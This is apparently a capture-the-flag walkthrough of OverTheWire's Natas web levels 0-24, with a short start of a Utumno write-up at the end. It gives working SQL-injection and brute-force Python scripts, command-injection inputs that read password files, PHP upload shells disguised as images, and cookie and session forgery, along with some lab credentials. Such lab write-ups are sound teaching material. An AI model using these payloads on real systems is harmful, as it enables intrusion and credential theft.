OverTheWire - Natas 17-24

Site: http://overthewire.org/wargames/natas/
Level: 17-24
Situation: Basic Web

Natas 17


Natas17 is another SQL challenge however what we notice is that when we enter a name we are given a blank page. Regardless if we know the user exist or not we are given a white page. Quick look at the source shows us the reason why.

<? 
/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 
if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas17', '<censored>'); 
    mysql_select_db('natas17', $link); 
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 
    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        //echo "This user exists.<br>"; 
    } else { 
        //echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        //echo "Error in query.<br>"; 
    } 
    mysql_close($link); 
} else { 
?>

We can see all that occurred was the output was commented out. When this occurs we have a few options however the approach we will take the time based approach. This form of SQL injection is known has time base SQL injection. What we are going to do is add a “sleep” to our query if the query passes the query will pass and we will be able to tell based on execution time. Since it’s essentially the same natas 15 we are going to just need to modify our query to take into account the sleep.

So we turn our SQL string into the following.

natas18" and users.password COLLATE latin1_bin like "a%" and sleep(10) and "x"="x

Now all that is left is to modify our script to handle time based attacks. We use pythons built in timers to measure the time between POST.

#blind.py
import time
import requests
from requests.auth import HTTPBasicAuth
letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
solution = ""
for x in range(33):
    for c in letters:
        payload = {'username': 'natas18" and users.password COLLATE latin1_bin like "'+solution+c+'%'+'"and sleep(10) and "x"="x'}
        start = time.time()
        r = requests.post("http://natas17.natas.labs.overthewire.org/", data=payload, auth=HTTPBasicAuth('natas17', 'natas17pass'))
        end = time.time()
        if int(end-start) >= 4:
            solution = solution + c
            print "Solution: " + solution
            break
print "Final: "+solution

One thing to consider is that if for whatever reason we are unable to get the post result fast enough or we timeout the code will count it as a correct letter.

After running the script we get our password.

Natas 18


Natas 18 presents us with a new login screen. When we enter random information we are given the fact that we are logged in as a normal user. So we head to the source.

-- SNIP --
<? 
$maxid = 640; // 640 should be enough for everyone 
function isValidAdminLogin() { 
    if($_REQUEST["username"] == "admin") { 
    /* This method of authentication appears to be unsafe and has been disabled for now. */ 
        //return 1; 
    } 

    return 0; 
} 
-- SNIP --
-- SNIP --
$showform = true; 
if(my_session_start()) { 
    print_credentials(); 
    $showform = false; 
} else { 
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { 
    session_id(createID($_REQUEST["username"])); 
    session_start(); 
    $_SESSION["admin"] = isValidAdminLogin(); 
    debug("New session started"); 
    $showform = false; 
    print_credentials(); 
    } 
}
-- SNIP --
?>

We can tell from this we are issued a session and id after we login. Now basic session hijacking involves utilizing the session id that is stored in our cookie and modifying it to that of another one. Allowing us to assume the session.

The next bit of useful information is the fact that our session id is limited to 640 possible id’s. So in theory if there was a current active admin session we could bruteforce the id.

The source tells us that if we are an admin we will see the following string “You are an admin.”. So we can search the responses we get for this string and if we get it we know we have found the correct id. So let’s write up some quick python to do it for us.

import time
import requests
from requests.auth import HTTPBasicAuth

for x in range(640):
    print "Trying: " + str(x)
    r = requests.get("http://natas18.natas.labs.overthewire.org/", 
auth=HTTPBasicAuth('natas18', 'natas18pass'), 
cookies={"PHPSESSID":str(x)})
    if "You are an admin." in r.text:
        print "FOUND: " + str(x)
        break

After it runs we are given the value of 46. We then edit our cookie.

Embeded FullSize

When we enter the value and refresh the page we are given our password.

Natas 19


Natas 19 does not include any source however we are given the following message.

This page uses mostly the same code as the previous level, but session IDs are no longer sequential...

So to begin with we must first see what our session ids look like. If we enter “asdf” we are returned with the following.

3533302d61736466

It is a large sequence of numbers that unfortunately doesn’t show anything and if we enter other information we get another random set of numbers. To analyze the session id we need to use a static username and password combination. Since we want to get the admin session we will test with “admin” as both our username and password.

We need to gather some test data. So we will login using the admin combination copy our session id then delete the cookie and repeat the process. Doing this four times gives us the following.

3237382d61646d696e
3432322d61646d696e
3433362d61646d696e
3530382d61646d696e

We notice that half of the string stays the same.

323738 2d61646d696e
343232 2d61646d696e
343336 2d61646d696e
353038 2d61646d696e

If we look closer we notice that in fact each string length is an equal number, more so each 2 characters represent a hex value.

32 373 8 2d 61 64 6d 69 6e
34 32 32 2d 61 64 6d 69 6e
34 33 36 2d 61 64 6d 69 6e
35 30 38 2d 61 64 6d 69 6e

Converting these into their ASCII values gives us the following.

27-admin
422-admin
436-admin
508-admin

So simple enough we can conclude that if we run through the numbers 0-640 we can find our admin session. To do this we just change our code from the previous challenge to generate the new session id which is “number-admin” Then convert it into hex.

import time
import requests
from requests.auth import HTTPBasicAuth

for x in range(640):
    sessionid = str(str(x) + "-admin").encode("hex")
    print "Trying: " + sessionid + ": "+str(x)
    r = requests.get("http://natas19.natas.labs.overthewire.org/", auth=HTTPBasicAuth('natas19', 'natas19pass'), cookies={"PHPSESSID":str(sessionid)})
    print r
    if "You are an admin." in r.text:
        print "FOUND: " + str(x)
        break

After running this we are given a session id that contains our admin session. We just modify our cookie with this value and refresh our page and we are presented with our admin password.

Natas 20


We are given only a simple field to change our name. As we change our name we immediately can tell our session id is not changing. So our previous attack might not be as useful. The length of our sessionid is also pretty large if we allow it to generate it for us, so immediately we know a brute forcing method will not work.

function print_credentials() { 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas21\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; 
    } 
} 

function myread($sid) {  
    debug("MYREAD $sid");  
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return ""; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    if(!file_exists($filename)) { 
        debug("Session file doesn't exist"); 
        return ""; 
    } 
    debug("Reading from ". $filename); 
    $data = file_get_contents($filename); 
    $_SESSION = array(); 
    foreach(explode("\n", $data) as $line) { 
        debug("Read [$line]"); 
    $parts = explode(" ", $line, 2); 
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; 
    } 
    return session_encode(); 
} 

function mywrite($sid, $data) {  
    // $data contains the serialized version of $_SESSION 
    // but our encoding is better 
    debug("MYWRITE $sid $data");  
    // make sure the sid is alnum only!! 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    $data = ""; 
    debug("Saving in ". $filename); 
    ksort($_SESSION); 
    foreach($_SESSION as $key => $value) { 
        debug("$key => $value"); 
        $data .= "$key $value\n"; 
    } 
    file_put_contents($filename, $data); 
    chmod($filename, 0600); 
}

At first it looks like our job will be spoofing our session_id to contain the information we want. However after further reading we notice there is a much easier attack vector.

Let’s take a closer look at the myread function.

debug("Reading from ". $filename); 
    $data = file_get_contents($filename); 
    $_SESSION = array(); 
    foreach(explode("\n", $data) as $line) { 
        debug("Read [$line]"); 
    $parts = explode(" ", $line, 2); 
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];

It takes a key pair separated by space. Even more so it reads every line for a possible key pair value. So all we have to do is trick the parser into stopping at a point in our string then continue onto the rest of the string as if it were a new line. We need the next key value to be “admin 1”. There is a few ways we can do this we can insert a \r\n hex character or use a null byte. For this purpose I picked a null byte injection technique. One thing to note is we can either post it or use the URL to feed the variable name. Has it is received using the $_REQUEST() function. To solve this all we have to do is form our special variable.

asdf%00admin%201

asdf = randomusername

%00 = null byte

%20 = space

Now all we do is pass this special name into the function. Making our complete URL look as follows.

index.php?name=asdf%00admin%201&debug=true

We run it and we are given our password.

Natas 21


We immediately notice we are dealing with two separate web pages. The first one is our usual challenge page. We look at the source.

<? 
function print_credentials() {
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas22\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22."; 
    } 
} 
session_start(); 
print_credentials(); 
?>

We can see that it’s simply checking for the admin flag in our session. So it’s safe to assume the other page is vulnerable.

<?   
session_start(); 
// if update was submitted, store it 
if(array_key_exists("submit", $_REQUEST)) { 
    foreach($_REQUEST as $key => $val) { 
    $_SESSION[$key] = $val; 
    } 
} 
// only allow these keys 
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow"); 
$form = ""; 
$form .= '<form action="index.php" method="POST">'; 
foreach($validkeys as $key => $defval) { 
    $val = $defval; 
    if(array_key_exists($key, $_SESSION)) { 
    $val = $_SESSION[$key]; 
    } else { 
    $_SESSION[$key] = $val; 
    } 
    $form .= "$key: <input name='$key' value='$val' /><br>"; 
} 
$form .= '<input type="submit" name="submit" value="Update" />'; 
$form .= '</form>'; 
$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";"; 
$example = "<div style='$style'>Hello world!</div>"; 
?>

From reading the code we notice a few issues. First off the form is created from an array of “validkeys” at first this seems reasonable until we look at the loading code.

if(array_key_exists("submit", $_REQUEST)) { 
    foreach($_REQUEST as $key => $val) { 
    $_SESSION[$key] = $val; 
    } 
}

The loading code does not verify that the loaded key is valid it simply loads the key into the session. So if we are correct we can inject a value into our session. In this case “admin” with the value of 1. To do this we just utilize google chromes built in inline editor.

Embeded FullSize

After we do that we hit update. However if we fresh the original page we aren’t in. The last thing we need to do is copy the session id from the “experimenter” page to the standard page. After it is copied over we refresh and we are given our password.

Natas 22


We are presented with a blank page. So straight to the source we go.

<? 
session_start(); 
if(array_key_exists("revelio", $_GET)) { 
    // only admins can reveal the password 
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) { 
    header("Location: /"); 
    } 
} 
?> 
<? 
    if(array_key_exists("revelio", $_GET)) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas23\n"; 
    print "Password: <censored></pre>"; 
    } 
?>

At first glance it looks like all we will have to do is add “revelio” to our URL however if we look closer we notice that there is a redirect at the beginning of the page. In PHP the “header() function returns a 302 redirect to the browser. If we somehow ignore the 302 redirect we can continue on to the rest of code and get the password. Unfortunately I was unable to find a plugin for chrome. Thankfully if we look at curl we notice that it does not follow 302 redirects. So all we need to do is the following to get our password.

curl --user natas22:natas22password http://natas22.natas.labs.overthewire.org/index.php\?revelio\=true

Natas 23


We are presented with a simple password form that when we enter data tells us we are wrong. So straight to the source.

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>

First a check to see if passwd is in our $_REQUEST array. Then there is a strstr(arg1,arg2) function what is done here is the arg1 string is searched for the arg2 string if it is found it returns everything after the first character of the pattern including the first character if it doesn’t find it returns false.

The next check is if $_REQUEST[“passwd”] > 10. It is important to note this is not checking for string length. When a comparison operator is done against a string PHP attempts to cast it to an int. So all we have to do in order to pass these checks if format our string as follows.

11iloveyou

After we insert that we are given our password.

Natas 24


We are given yet another password field that tells us we are wrong when we enter a random string. So we open up the source to find the following.

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>

Looking at it we have a simple strcmp. At first the only option looks like to brute force it however. If we look at the documentation for strcmp it only has 3 possible return values.

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

Because we know no matter what it will return something and not give us a exception we can utilize some interesting PHP fun. A string is technically an array object. So comparing the two should show favorable outcome. We modify our URL to include a [] which in PHP $_GET and $_RESPONSE represents an array object.

index.php?passwd[]=asdf

We run it and we get our password.

OverTheWire - Natas 8-16

Site: http://overthewire.org/wargames/natas/
Level: 8-16
Situation: Basic Web

Natas 8


Looking at natas8 we are presented with a similar form and if we put in random text it tells us we are incorrect. Looking at the source code we are given the following.

<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

We can see that our input is passed into the encodeSecret() function that in turn does the following.

bin2hex(strrev(base64_encode($secret)));

First function turns a bit of text into hex so we need to do that first. Giving us this.

==QcCtmMml1ViV3b

After that we need to reverse the string which strrev does. Making it the following.

b3ViV1lmMmtCcQ==

Finally we run it through a base 64 decoder and finally we get the following.

oubWYf2kBq

There is our secret string we put it in the input field and we are presented with the password.

Natas 9


Now we have another form. When we enter a word it seems to show only things with that word. Also same for characters. Looking at the source we are presented with the following.

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

We can see as long as the key needle exist in our URL and it’s not empty it gets passed through to “passthru” which executes the system command grep. Now knowing how Linux command structure works we know we can execute more commands if we put a semi colon.

To test it we put the following input.

c; ls -la

Gives us the following result.

-rw-r----- 1 natas9 natas9 460878 Nov 14 10:27 dictionary.txt

If we cat dictionary.txt it is literally nothing but a dictionary. So we need to search our operating system. So we execute the following command.

c; ls -la /*/*/**

If we ctrl+f for “natas10” eventually we find the following.

-r--r-----   1 natas10    natas9           33 Nov 14 10:32 /etc/natas_webpass/natas10

Looks promising. We now go ahead and see if we can read it.

c; cat /etc/natas_webpass/natas10

It displays our password.

Natas 10


We are presented with a new form that is similar to the previous and a message saying characters are censored now. If we look at the source we get the following.

<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}
if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
The regex checks the entire string for the following characters ‘; ’ which completely blocks our last attempt however. We can still pass a path to the application. By using “.” we are telling it to show everything. We will also add a # to comment out the dictionary.txt so our path is the one searched.
.* /etc/natas_webpass/natas11 #

When we input that we are given the following with our password.

.htaccess:AuthType Basic
.htaccess: AuthName "Authentication required"
.htaccess: AuthUserFile /var/www/natas/natas10//.htpasswd
.htaccess: require valid-user
.htpasswd:natas10:$1$sDWfJg4Y$ewf9jvw0ChWUA3KARHisg.
/etc/natas_webpass/natas11:[OMITTED]

Natas 11


When we are presented with natas 11 we are given a small input field that takes an RGB color and sets the color. Nothing to interesting. We also get the message that the cookies are protected using XOR. Meaning this is going to be a little bit of an annoyance. When we view the source code we get the following.

<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}
function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}
function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}
saveData($data);
?>

Reading it we notice that there is indeed a bit of stuff going on specifically the function to encrypt and decrypt everything. We aren’t given the key so we must first find it before we can complete the challenge.

After doing some reading on XOR and how it works after I’ll be a bit too long of attempting to brute force the key. We learn that although yes xor(original_data,key) = encrypted data. xor(original_data,encrypted_data) = key is also true.

So thankfully we do indeed have the original data and the encrypted data at our disposal. So we are going to modify the code presented to us and use it to find our key.

<?php
$cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=');
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    global $defaultdata;
    $text = $in;
    $key = json_encode($defaultdata);
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}
print xor_encrypt($cookie);
?>

After running locally we get the following.

qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq

Safe to assume “qw8J” is our key.

Now we can use this key to generate the correct cookie. We know that we have to first json_encode our data then xor_encrypt and finally base64 encode our cookie so we modify our code to do that for us.

<?php
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $text = $in;
    $key = "qw8J";
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}
print base64_encode(xor_encrypt(json_encode($defaultdata)));
?>

Now all we do is replace the cookie with our new value.

Embeded FullSize

We hit apply and refresh the page and the password is displayed.

Natas 12


Natas12 presents us with an upload form that takes a 1KB image and uploads it to a random location and filename. If we upload a PHP file we are returned a random URL with PHP replace with jpg and our code doesn’t execute. At first trying file.php.jpg we think it would go through and it doesn’t.

So moving to the source code we are given the following.

<?  
function makeRandomPath($dir, $ext) { 
    do { 
    $path = $dir."/".genRandomString().".".$ext; 
    } while(file_exists($path)); 
    return $path; 
} 
function makeRandomPathFromFilename($dir, $fn) { 
    $ext = pathinfo($fn, PATHINFO_EXTENSION); 
    return makeRandomPath($dir, $ext); 
} 
if(array_key_exists("filename", $_POST)) { 
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 
        echo "File is too big"; 
    } else { 
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 
        } else{ 
            echo "There was an error uploading the file, please try again!"; 
        } 
    } 
} else { 
?>

Now we can confirm that our file is getting uploaded and put given a random location but nowhere is the extension being modified if we look close however we find the problem.

<form enctype="multipart/form-data" action="index.php" method="POST"> 
<input type="hidden" name="MAX_FILE_SIZE" value="1000" /> 
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> 
Choose a JPEG to upload (max 1KB):<br/> 
<input name="uploadedfile" type="file" /><br /> 
<input type="submit" value="Upload File" /> 
</form>

Our file name isn’t being passed at all in fact a new one is being generated for it. Thankfully this is easy to do as we can inline edit html using chrome. So to test this we first create a simple PHP file we want to upload.

// test.php
<?php
phpinfo();
?>

Now we inline edit the html code. By double clicking and changing the .jpg extension to .php.

Embeded FullSize

When we upload our test.php file we are taken to a link and when we open that link phpinfo() executes and shows us the information we need. Now all we need to do is rewrite this script and have it read the file we specifically need.

<?php
$myfile = fopen("/etc/natas_webpass/natas13", "r") or die("Unable to open file!");
echo fread($myfile,filesize("/etc/natas_webpass/natas13"));
fclose($myfile);
?>

After uploading and running we are presented with the password.

Natas 13


Natas 13 is very similar to natas 12 however there is an additional check with exif_imagetype() on our file.

if(array_key_exists("filename", $_POST)) { 
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 
        echo "File is too big"; 
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { 
        echo "File is not an image"; 
    } else { 
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 
        } else{ 
            echo "There was an error uploading the file, please try again!"; 
        } 
    } 
}

Reading the documentation for exif_imagetype we get the following.

exif_imagetype() reads the first bytes of an image and checks its signature.

When a correct signature is found, the appropriate constant value will be returned otherwise the return value is FALSE

Simply googling exif_imagetype() returns various resources regarding getting past it. Basically since all it checks is the first few bytes of the file for an image identifier you can supply one and then have your PHP code under it. So to do that we add “GIF89a” to the top of our file and it will confirm that the file is a gif. So we turn our PHP code into.

GIF89a
<?php
$myfile = fopen("/etc/natas_webpass/natas14", "r") or die("Unable to open file!");
echo fread($myfile,filesize("/etc/natas_webpass/natas14"));
fclose($myfile);
?>

When uploaded and ran we get our password.

Natas 14


We are given a username and password field. When data is entered we are given “access denied”. So straight to the source we go.

<? 
if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas14', '<censored>'); 
    mysql_select_db('natas14', $link); 
     
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 

    if(mysql_num_rows(mysql_query($query, $link)) > 0) { 
            echo "Successful login! The password for natas15 is <censored><br>"; 
    } else { 
            echo "Access denied!<br>"; 
    } 
    mysql_close($link); 
} else { 
?>

We have code that deals with a SQL connection. If we look at the query string we notice that it is taking our data directly from the request and sticking it in their query string. Showing that basic SQL injection is possible. The SQL string looks like this after removing the escape characters.

$query = "SELECT * from users where username=".$_REQUEST["username"]" and password=".$_REQUEST["password"]";

We can immediately see where our SQL injection will go. Our injection looks as follows.

username" OR "a"="a

What is happening is we are closing out the first select statement and adding an additional OR condition. Meaning if we find a user named username, which we don’t OR if “a” is equal to “a” which it is. After injecting both the username and password fields with this we are presented with our password.

Natas 15


Natas 15 presents us with a similar form however it only takes a username value. When we enter a user we get only a simple response if the user exists or not. If we look at the source we are given the following.

<? 
/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 
if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas15', '<censored>'); 
    mysql_select_db('natas15', $link); 
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 
    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        echo "This user exists.<br>"; 
    } else { 
        echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        echo "Error in query.<br>"; 
    } 
    mysql_close($link); 
} else { 
?>

Now we know it is vulnerable to the same vulnerability as the previous one. But we are getting no output other than a simple “user exist”. We do get a hint we know that the table “users” contains a password column. We can use “user exist” as a boolean value to let us know when a query passed. We this type of enumeration is known as blind SQL injection. To do this we first need to find a user that exist. As we could have guessed the user is natas16.

Now to pull this injection off we are going to utilize case sensitive SQL like statements. The statement we want to execute looks as follows.

natas16" and password COLLATE latin1_bin like "<characterhere>%

The like keyword works by looking patterns in the password table. The % is a wildcard. So we check each character in the string at a time till a match is found. Let’s go a step further and automate this with python.

#blind.py
import requests
from requests.auth import HTTPBasicAuth
letters = "abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"
solution = ""
for x in range(33):
    for c in letters:
        payload = {'username': 'natas16" and password COLLATE latin1_bin like "'+solution+c+'%'}
        r = requests.post("http://natas15.natas.labs.overthewire.org/", data=payload, auth=HTTPBasicAuth('natas15', 'natas15password'))
        if "This user exists." in r.text:
            solution = solution + c
            print "Solution: " + solution
print "Final: "+solution

After running our script we are presented with the password.

Natas 16


Similar to natas 15 we are doing another blind search. Natas 15 gives up another form and more restrictions on the challenge we saw in natas9. It filters out the following characters

;&`\'"|

This makes things rather difficult for us. However we still have access to % and () meaning we can execute commands. Unfortunately the easy route of wgeting a PHP script and allowing it to grab our password for us didn’t work so we are stuck with using greps functionality to do a blind lookup.

To do this we are going to insert another grep command that checks if a character is in a file if it is its going to append it to a word of our choice. The grep command looks as follows.

grep -i $(grep a /etc/natas_webpass/natas17)Doctor dictionary.txt

We know doctor exist in our dictionary. So what happens is the grep within $() is execute first if the letter is in an it will append it to the string Doctor making it aDoctor. Since there is no aDoctor in dictionary.txt we can assume that if Doctor is in our html then the character didn’t match however if it isn’t there then we have a match. Let’s modify the python code from the previous challenge to do this for us.

import requests
from requests.auth import HTTPBasicAuth

letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
solution = ""
noresult = False
for x in range(35):
    for c in letters:
        payload = "?needle="+"$(grep -E ^" + solution+c + ".* /etc/natas_webpass/natas17)Doctor"
        r = requests.get("http://natas16.natas.labs.overthewire.org"+payload, auth=HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'))
        if not "Doctor" in r.text:
            solution = solution + c
            print "Solution: " + solution
            break
print "Final: "+solution

We use regular expression flag of grep to ensure that we are searching from the beginning of the file and not the middle. “Learned the hard way” After running we get our password.

OverTheWire - Natas 0-7

Site: http://overthewire.org/wargames/natas/
Level: 0-7
Situation: Basic Web

These challenges will be simple at first. I will try to make to make it as detailed as i can but some challenges might prevent it.

Natas 0


This challenge is simple enough all that is required is to view the source of the site. Using our favorite browser we just right click and view source.

<div id="content">
You can find the password for the next level on this page.

<!--The password for natas1 is [OMITTED] -->
</div>

Natas 1


Same as natas0 we need to get past the little issue of not being able to right click. To bypass this all we need to do is either use the view source hotkey or menu.

<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!

<!--The password for natas2 is [OMITTED] -->
</div>

Natas 2


We view the source and the password isn’t there however we see it includes a file called “pixel.png” in the image source. If directory listing is enabled in the apache config we should see what is in that directory.

Embeded FullSize

If we look in users.txt we find our password.

# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3: [OMITTED]
eve:zo4mJWyNj2
mallory:9urtcpzBmH

Natas 3


As before we start by viewing the source and we are presented by a message that says “Not even google will find it this time”. For those who are familiar with how google spiders or web spiders in general work they look on the root address for a robots.txt. Robots.txt contains a set of “rules” so to speak for spiders to follow. This can include omitting directories. So let’s go to the “address/robots.txt”.

Embeded FullSize

We see a disallowed “secret” directory if we go in there we find a users.txt. With the following contents.

natas4:[OMITTED]

Natas 4


Once we are inside natas 5 we are presented with the following message.

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

When we click the refresh button it changes to the following.

Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

We can tell that it is using our html headers to see where our src is coming from. We can get past this by simply changing our Referrer header that is sent with our request. There are a few ways to do this one can do it with burp suite etc. For us we will simply install a chrome plugin called “Referrer Control” and add a rule.

Embeded FullSize

After adding the rule we refresh our page and we are given the following.

Access granted. The password for natas5 is [OMITTED]

.

Natas 5


Natas5 presents us with.

Access disallowed. You are not logged in

If we view our source its empty and we aren’t aware of it checking for any referrer URL however. If we look as our resources tab in the built in debugger. We notice that the site is setting a cookie called “loggedin” and its set to 0. If this is a boolean check 0 = false and 1 = true. So we are going to modify this cookie. Yet again there are ways to do this but to keep it all in our browser. We install a plugin called “EditOurCookie” and we use it to change the value.

Embeded FullSize

After we set the value and apply, we refresh the screen and we are given the following.

Access granted. The password for natas6 is [OMITTED]

Natas 6


We are presented with an “input secret form” and when we enter garbage data we can see that it does indeed do a post and tells us we have the wrong secret. So to gain more information we click view the source and find the following.

<?
    include "includes/secret.inc";
    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

We can see that it is pulling the $secret from a include file. Now if we aren’t forbidden from accessing the file we can get our string so navigate to “address”+/includes/secret.inc.

We are presented with the following.

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

After entering the secret key into the form. We get the next message.

Access granted. The password for natas7 is [OMITTED]

Natas 7


We start like we usually do and check the source we are immediately presented with the following message.

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

Telling us we will have to access the local file system somehow. What we do however is have two links “Home” and “About”. Home turns our URL to this.

index.php?page=home

About changes it to the following.

index.php?page=about

When changes to a random file we get the following.

Warning: include(asdf): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21

Warning: include(): Failed opening 'asdf' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21

The following line tells us that we are trying to include a file called “asdf”. This is a local file inclusion vulnerability.

Warning: include(asdf):

If we change it to the following.

index.php?page=/etc/natas_webpass/natas8

We are presented with the password.

OverTheWire - Utumno3

Site: http://overthewire.org/wargames/utumno/
Level: 3
Situation: ASM Reading Exercise

Let’s begin this madness. We start by creating our temp file directory checking our file archtype and the output.

utumno3@melinda:~$ mkdir /tmp/uh3
